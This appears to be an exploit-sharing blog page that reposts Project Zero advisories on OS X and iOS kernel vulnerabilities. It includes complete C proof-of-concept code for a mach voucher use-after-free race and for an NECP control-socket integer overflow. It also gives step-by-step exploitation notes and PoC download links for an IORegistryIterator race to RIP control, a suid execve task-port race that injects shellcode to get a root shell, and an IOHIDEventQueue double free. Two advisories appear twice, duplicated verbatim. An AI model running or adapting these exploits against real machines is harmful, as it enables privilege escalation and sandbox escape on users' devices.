Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863111266

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=553

The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.

ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.

ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:


boolean_t
ipc_kobject_notify(
                   mach_msg_header_t *request_header,
                   mach_msg_header_t *reply_header)
{
    ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
    
    ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
    switch (request_header->msgh_id) {
        case MACH_NOTIFY_NO_SENDERS:
            if (ip_kotype(port) == IKOT_VOUCHER) {
                ipc_voucher_notify(request_header);         <-- called unconditionally irregardless of the value of ip_srights
                return TRUE;
            }

At this point there are also no locks held.

void
ipc_voucher_notify(mach_msg_header_t *msg)
{
  mach_no_senders_notification_t *notification = (void *)msg;
  ipc_port_t port = notification->not_header.msgh_remote_port;
  ipc_voucher_t iv;

  assert(ip_active(port));
  assert(IKOT_VOUCHER == ip_kotype(port));
  iv = (ipc_voucher_t)port->ip_kobject;

  ipc_voucher_release(iv);
}


ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:

void
ipc_voucher_release(ipc_voucher_t voucher)
{
  if (IPC_VOUCHER_NULL != voucher)
    iv_release(voucher);
}


static inline void
iv_release(ipc_voucher_t iv)
{
  iv_refs_t refs;

  assert(0 < iv->iv_refs);
  refs = hw_atomic_sub(&iv->iv_refs, 1);
  if (0 == refs)
    iv_dealloc(iv, TRUE);
}

iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.

We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.

With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)

You should enable kernel zone poisoning with the "-zp" boot arg to repro this.

You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element 

This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.

Tested on OS X ElCapitan 10.11 (15A284)

Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.

Note that you might have to leave the repro running for a little while to win the race.
*/

// ianbeer

/*
OS X and iOS unsandboxable kernel use-after-free in mach vouchers

The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.

ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.

ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:


boolean_t
ipc_kobject_notify(
                   mach_msg_header_t *request_header,
                   mach_msg_header_t *reply_header)
{
    ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
    
    ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
    switch (request_header->msgh_id) {
        case MACH_NOTIFY_NO_SENDERS:
            if (ip_kotype(port) == IKOT_VOUCHER) {
                ipc_voucher_notify(request_header);         <-- called unconditionally irregardless of the value of ip_srights
                return TRUE;
            }

At this point there are also no locks held.

void
ipc_voucher_notify(mach_msg_header_t *msg)
{
  mach_no_senders_notification_t *notification = (void *)msg;
  ipc_port_t port = notification->not_header.msgh_remote_port;
  ipc_voucher_t iv;

  assert(ip_active(port));
  assert(IKOT_VOUCHER == ip_kotype(port));
  iv = (ipc_voucher_t)port->ip_kobject;

  ipc_voucher_release(iv);
}


ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:

void
ipc_voucher_release(ipc_voucher_t voucher)
{
  if (IPC_VOUCHER_NULL != voucher)
    iv_release(voucher);
}


static inline void
iv_release(ipc_voucher_t iv)
{
  iv_refs_t refs;

  assert(0 < iv->iv_refs);
  refs = hw_atomic_sub(&iv->iv_refs, 1);
  if (0 == refs)
    iv_dealloc(iv, TRUE);
}

iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.

We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.

With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)

You should enable kernel zone poisoning with the "-zp" boot arg to repro this.

You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element 

This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.

Tested on OS X ElCapitan 10.11 (15A284)

Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.

Note that you might have to leave the repro running for a little while to win the race.
*/


#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

int start = 0;

void go(void* arg){
  mach_port_t v = 0xb03; // <-- works for me; ymmv
  
  mach_msg_header_t msg = {0};
  msg.msgh_size = sizeof(mach_msg_header_t);
  msg.msgh_local_port = v;
  msg.msgh_remote_port = v;
  msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.msgh_id = 0106;

  while(start == 0){;}

  usleep(1);

  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}
int main() {
  //char port_num[20] = {0};
  //gets(port_num);
  //mach_port_t v = (mach_port_t)atoi(port_num);
  //printf("%x\n", v);

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  mach_port_t v = 0xb03;
  
  mach_msg_header_t msg = {0};
  msg.msgh_size = sizeof(mach_msg_header_t);
  msg.msgh_local_port = v;
  msg.msgh_remote_port = v;
  msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.msgh_id = 0106;

  usleep(100000);

  start = 1;

  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);

  pthread_join(t, NULL);

  return 0;
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=620

I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC
which gets RIP on OS X. The same techniques should transfer smoothly to iOS :)

The bug is here:

void IORegistryIterator::reset( void )
{
    while( exitEntry())
    {}
    
    if( done) {
        done->release();
        done = 0;
    }
    
    where->current = root;
    options &= ~kIORegistryIteratorInvalidFlag;
}

We can call this from userspace via the IOIteratorReset method.

done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads
to both see the same value of done, one will free it but before it sets done to NULL the other will
call ->release on the now free'd OSOrderedSet.

How to get instruction pointer control?

The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees
done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword
with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten
with a valid pointer pointing to the last object freed to this zone. If we can control that object then
the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base
of all IOKit objects including OSOrderedSet.)

This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which
puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control.

I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the
PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) )

As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and
unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the
vtable pointer.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=676

tl;dr
The code responsible for loading a suid-binary following a call to the execve syscall invalidates
the task port after first swapping the new vm_map into the old task object leaving a short race window
where we can manipulate the memory of the euid(0) process before the old task port is destroyed.

******************

__mac_execve calls exec_activate_image which calls exec_mach_imgact via the image activator table execsw.

If we were called from a regular execve (not after a vfork or via posix_spawn) then this calls load_machfile
with a NULL map argument indicating to load_machfile that it should create a new vm_map for this process:

  if (new_map == VM_MAP_NULL) {
    create_map = TRUE;
    old_task = current_task();
  }

it then creates a new pmap and wraps that in a vm_map, but doesn't yet assign it to the task:

    pmap = pmap_create(get_task_ledger(ledger_task),
           (vm_map_size_t) 0,
           ((imgp->ip_flags & IMGPF_IS_64BIT) != 0));
    pal_switch_pmap(thread, pmap, imgp->ip_flags & IMGPF_IS_64BIT);
    map = vm_map_create(pmap,
        0,
        vm_compute_max_offset(((imgp->ip_flags & IMGPF_IS_64BIT) == IMGPF_IS_64BIT)),
        TRUE)

the code then goes ahead and does the actual load of the binary into that vm_map:

  lret = parse_machfile(vp, map, thread, header, file_offset, macho_size,
                        0, (int64_t)aslr_offset, (int64_t)dyld_aslr_offset, result);

if the load was successful then that new map will we swapped with the task's current map so that the task now has the
vm for the new binary:

    old_map = swap_task_map(old_task, thread, map, !spawn);

    vm_map_t
    swap_task_map(task_t task, thread_t thread, vm_map_t map, boolean_t doswitch)
    {
      vm_map_t old_map;

      if (task != thread->task)
        panic("swap_task_map");

      task_lock(task);
      mp_disable_preemption();
      old_map = task->map;
      thread->map = task->map = map;

we then return from load_machfile back to exec_mach_imgact:

  lret = load_machfile(imgp, mach_header, thread, map, &load_result);

  if (lret != LOAD_SUCCESS) {
    error = load_return_to_errno(lret);
    goto badtoolate;
  }
  
  ...

  error = exec_handle_sugid(imgp);

after dealing with stuff like CLOEXEC fds we call exec_handle_sugid.
If this is indeed an exec of a suid binary then we reach here before actually setting
the euid:

       * Have mach reset the task and thread ports.
       * We don't want anyone who had the ports before
       * a setuid exec to be able to access/control the
       * task/thread after.
      ipc_task_reset(p->task);
      ipc_thread_reset((imgp->ip_new_thread != NULL) ?
           imgp->ip_new_thread : current_thread());

As this comment points out, it probably is quite a good idea to reset the thread, task and exception ports, and
that's exactly what they do:

  ...
  ipc_port_dealloc_kernel(old_kport);
  etc for the ports
  ...


The problem is that between the call to swap_task_map and ipc_port_dealloc_kernel the old task port is still valid, even though the task isn't running.
This means that we can use the mach_vm_* API's to manipulate the task's new vm_map in the interval between those two calls. This window is long enough
for us to easily find the load address of the suid-root binary, change its page protections and overwrite its code with shellcode.

This PoC demonstrates this issue by targetting the /usr/sbin/traceroute6 binary which is suid-root. Everything is tested on OS X El Capitan 10.11.2.

In our parent process we register a port with launchd and fork a child. This child sends us back its task port, and once we ack that we've got
its task port it execve's the suid-root binary.

In the parent process we use mach_vm_region to work out when the task's map gets switched, which also convieniently tells us the target binary's load
address. We then mach_vm_protect the page containing the binary entrypoint to be rwx and use mach_vm_write to overwrite it with some shellcode which
execve's /bin/zsh (because bash drops privs) try running id in the shell and note your euid.

Everything is quite hardcoded for the exact version of traceroute6 on 10.11.2 but it would be easy to make this into a very universal priv-esc :)

Note that the race window is still quite tight so you may have to try a few times.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39595.zip
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=543

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/

// ianbeer

/*
iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/

#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CONTROL_NAME "com.apple.net.necp_control"

int ctl_open(void) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

struct necp_packet_header {
    uint8_t   packet_type;
    uint8_t   flags;
    uint32_t  message_id;
};

uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, len);
  return buf+9+len;
}

uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, real_len);
  return buf+9+real_len;
}

int main(){
  int fd = ctl_open();
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  size_t msg_size;
  uint8_t* msg = malloc(0x1000);
  memset(msg, 0, 0x1000);

  uint8_t* payload = malloc(0x1000);
  memset(payload, 'A', 0x1000);

  struct necp_packet_header* hdr = (struct necp_packet_header*) msg;
  hdr->packet_type = 1; // POLICY_ADD
  hdr->flags = 0;
  hdr->message_id = 0;

  uint8_t* buf = (uint8_t*)(hdr+1);

  uint32_t order = 0x41414141;
  buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER

  uint8_t policy = 1; // NECP_POLICY_RESULT_PASS
  buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT
  
  buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION
  buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION
  
  buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10);

  msg_size = buf - msg;

  send(fd, msg, msg_size, 0);

  close(fd);
  return 0;
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=618

The _ool variations of the IOKit device.defs functions all incorrectly deal with error conditions.

If you run the mig tool on device.defs you can see the source of the kernel-side MIG handling code; here
is the relevant generated code for io_service_get_matching_services_ool:

mig_internal novalue _Xio_service_get_matching_services_ool
  (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{

  ... // some typedefs

  Request *In0P = (Request *) InHeadP;
  Reply *OutP = (Reply *) OutHeadP;

  kern_return_t RetCode;
  io_object_t existing;                   <-- (a)

  ... // check the input types

  RetCode = is_io_service_get_matching_services_ool(In0P->Head.msgh_request_port, (io_buf_ptr_t)(In0P->matching.address), In0P->matchingCnt, &OutP->result, &existing);  <-- (b)

  if (RetCode != KERN_SUCCESS) {
    MIG_RETURN_ERROR(OutP, RetCode);
  }

  OutP->existing.name = (mach_port_t)iokit_make_object_port(existing);   <-- (c)


At (a) it declares an io_object_t existing on the stack (io_object_t is just a pointer.) It then passes the address of that local to is_io_service_get_matching_services_ool, and if that
function succeeds passes the value of existing to iokit_make_object_port. Here's is_io_service_get_matching_services_ool (which importantly is NOT generated code):

    /* Routine io_service_get_matching_services_ool */
    kern_return_t is_io_service_get_matching_services_ool(
                                                          mach_port_t master_port,
                                                          io_buf_ptr_t matching,
                                                          mach_msg_type_number_t matchingCnt,
                                                          kern_return_t *result,
                                                          io_object_t *existing )
    {
        kern_return_t kr;
        vm_offset_t   data;
        vm_map_offset_t map_data;
        
        kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
        data = CAST_DOWN(vm_offset_t, map_data);
        
        if( KERN_SUCCESS == kr) {
            // must return success after vm_map_copyout() succeeds
            *result = internal_io_service_get_matching_services(master_port,
                                                                (const char *) data, matchingCnt, existing);
            vm_deallocate( kernel_map, data, matchingCnt );
        }
        
        return( kr );
    }

Note here that it returns kr which *only* indicates if the vm_map_copyout failed. This will of course succeed so the return value of this function
will always be KERN_SUCCESS, even if internal_io_service_get_matching_services fails... Let's look at that function:

    static kern_return_t internal_io_service_get_matching_services(
                                                                   mach_port_t master_port,
                                                                   const char * matching,
                                                                   mach_msg_type_number_t matching_size,
                                                                   io_iterator_t *existing )
    {
        kern_return_t kr;
        OSObject *    obj;
        OSDictionary *  dict;
        
        if( master_port != master_device_port)
            return( kIOReturnNotPrivileged);
        
        obj = matching_size ? OSUnserializeXML(matching, matching_size)
        : OSUnserializeXML(matching);
        if( (dict = OSDynamicCast( OSDictionary, obj))) {
            *existing = IOService::getMatchingServices( dict );
            kr = kIOReturnSuccess;
        } else
            kr = kIOReturnBadArgument;
        
        if( obj)
            obj->release();
        
        return( kr );
    }

Indeed, if this function fails it doesn't set existing to a safe value but does return an error code. However, the _ool variation ignores this error code (it
just returns it to userspace via the result parameter.) This means that the generated code thinks that is_io_service_get_matching_services_ool succeed
and it therefore pass existing in iokit_make_object_port which will eventually (if the uninitialized value wasn't NULL) call a virtual function on it
(taggedRetain) when adding the object to the dictionary storing all iokit user objects.

All of the _ool variations of IOKit API's have this problem; PoCs are included for all of them but they may or may not crash depending on the
state of the stack.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39358.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=542

The IOHIDLibUserClient allows us to create and manage IOHIDEventQueues corresponding to available HID devices.

Here is the ::start method, which can be reached via the IOHIDLibUserClient::_startQueue external method:

************ SNIP **************

void IOHIDEventQueue::start() 
{
    if ( _lock )
        IOLockLock(_lock);

    if ( _state & kHIDQueueStarted )
        goto START_END;

    if ( _currentEntrySize != _maxEntrySize )   <--- (a)
    {
        mach_port_t port = notifyMsg ? ((mach_msg_header_t *)notifyMsg)->msgh_remote_port : MACH_PORT_NULL;
        
        // Free the existing queue data
        if (dataQueue) {                   <-- (b)
            IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
        }
        
        if (_descriptor) {
            _descriptor->release();
            _descriptor = 0;
        }
        
        // init the queue again.  This will allocate the appropriate data.
        if ( !initWithEntries(_numEntries, _maxEntrySize) ) {      (c) <----
            goto START_END;
        }
        
        _currentEntrySize = _maxEntrySize;
        
        // RY: since we are initing the queue, we should reset the port as well
        if ( port ) 
            setNotificationPort(port);
    }
    else if ( dataQueue )
    {
        dataQueue->head = 0;
        dataQueue->tail = 0;
    }

    _state |= kHIDQueueStarted;

START_END:
    if ( _lock )
        IOLockUnlock(_lock);

}

************ SNIP **************


If _currentEntrySize is not equal to _maxEntrySize then the start method will attempt to reallocate a better-sized queue;
if dataQueue (a member of IODataQueue) is non-zero its free'd then initWithEntries is called with the new _maxEntrySize.

Note that the error path on failure here jumps straight to the end of the function, so it's up to initWithEntries to
clear dataQueue if it fails:


************ SNIP **************

Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
    UInt32 size = numEntries*entrySize;
    
    if ( size < MIN_HID_QUEUE_CAPACITY )
        size = MIN_HID_QUEUE_CAPACITY;
        
    return super::initWithCapacity(size);
}

************ SNIP **************


There's a possible overflow here; but there will be *many* possible overflows coming up and we need to overflow at the right one...

This calls through to IOSharedDataQueue::initWithCapacity


************ SNIP **************

Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
    IODataQueueAppendix *   appendix;
    vm_size_t               allocSize;

    if (!super::init()) {
        return false;
    }


    _reserved = (ExpansionData *)IOMalloc(sizeof(struct ExpansionData));
    if (!_reserved) {
        return false;
    }

    if (size > UINT32_MAX - DATA_QUEUE_MEMORY_HEADER_SIZE - DATA_QUEUE_MEMORY_APPENDIX_SIZE) {
        return false;
    }
    
    allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE);

    if (allocSize < size) {
        return false;
    }

    dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);

************ SNIP **************


We need this function to fail on any of the first four conditions; if we reach the IOMallocAligned call
then dataQueue will either be set to a valid allocation (which is uninteresting) or set to NULL (also uninteresting.)

We probably can't fail the ::init() call nor the small IOMalloc. There are then two integer overflow checks;
the first will only fail if size (a UInt32 is greater than 0xfffffff4), and the second will be impossible to trigger on 64-bit since
round_pages will be checking for 64-bit overflow, and we want a cross-platform exploit!

Therefore, we have to reach the call to initWithCapacity with a size >= 0xfffffff4 (ie 12 possible values?)

Where do _maxEntrySize and _currentEntrySize come from?

When the queue is created they are both set to 0x20, and we can partially control _maxEntrySize by adding an new HIDElement to the queue.

_numEntries is a completely controlled dword.

So in order to reach the exploitable conditions we need to:

1) create a queue, specifying a value for _numEntries. This will allocate a queue (via initWithCapacity) of _numEntries*0x20; this allocation must succeed.

2) add an element to that queue with a *larger* size, such that _maxEntrySize is increased to NEW_MAX_SIZE.

3) stop the queue.

4) start the queue; at which point we will call IOHIDEventQueue::start. since _maxEntrySize is now larger this
will free dataQueue then call initWithEntries(_num_entries, NEW_MAX_SIZE). This has to fail in exactly the manner
described above such that dataQueue is a dangling pointer.

5) start the queue again, since _maxEntrySize is still != _currentEntrySize, this will call free dataQueue again!


The really tricky part here is coming up with the values for _numEntries and NEW_MAX_SIZE; the constraints are:

_numEntries is a dword
(_numEntries*0x20)%2^32 must be an allocatable size (ideally <0x10000000)
(_numEntries*NEW_MAX_SIZE)%2^32 must be >= 0xfffffff4

presumable NEW_MAX_SIZE is also reasonably limited by the HID descriptor parsing code, but I didn't look.

This really doesn't give you much leaway, but it is quite satisfiable :)

In this case I've chosen to create a "fake" hid device so that I can completely control NEW_MAX_SIZE, thus the PoC requires
root (as did the TAIG jailbreak which also messed with report descriptors.) However, this isn't actually a requirement to hit the bug; you'd just need to look through every single HID report descriptor on your system to find one with a suitable report size.

In this case, _numEntries of 0x3851eb85 leads to an initial queue size of (0x3851eb85*0x20)%2^32 = 0xa3d70a0
which is easily allocatable, and NEW_MAX_SIZE = 0x64 leads to: (0x3851eb85*0x64)%2^32 = 0xfffffff4


To run the PoC:

1) unzip and build the fake_hid code and run 'test -k' as root; this will create an IOHIDUserDevice whose
cookie=2 IOHIDElementPrivate report size is 0x64.

2) build and run this file as a regular user.

3) see double free crash.

There's actually nothing limiting this to a double free, you could go on indefinitely free'ing the same pointer.

As I said before, this bug doesn't actually require root but it's just *much* easier to repro with it!

Testing on: MacBookAir5,2 10.10.5 14F27
Guessing that this affects iOS too but haven't tested.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39379.zip
            
source: https://www.securityfocus.com/bid/49676/info

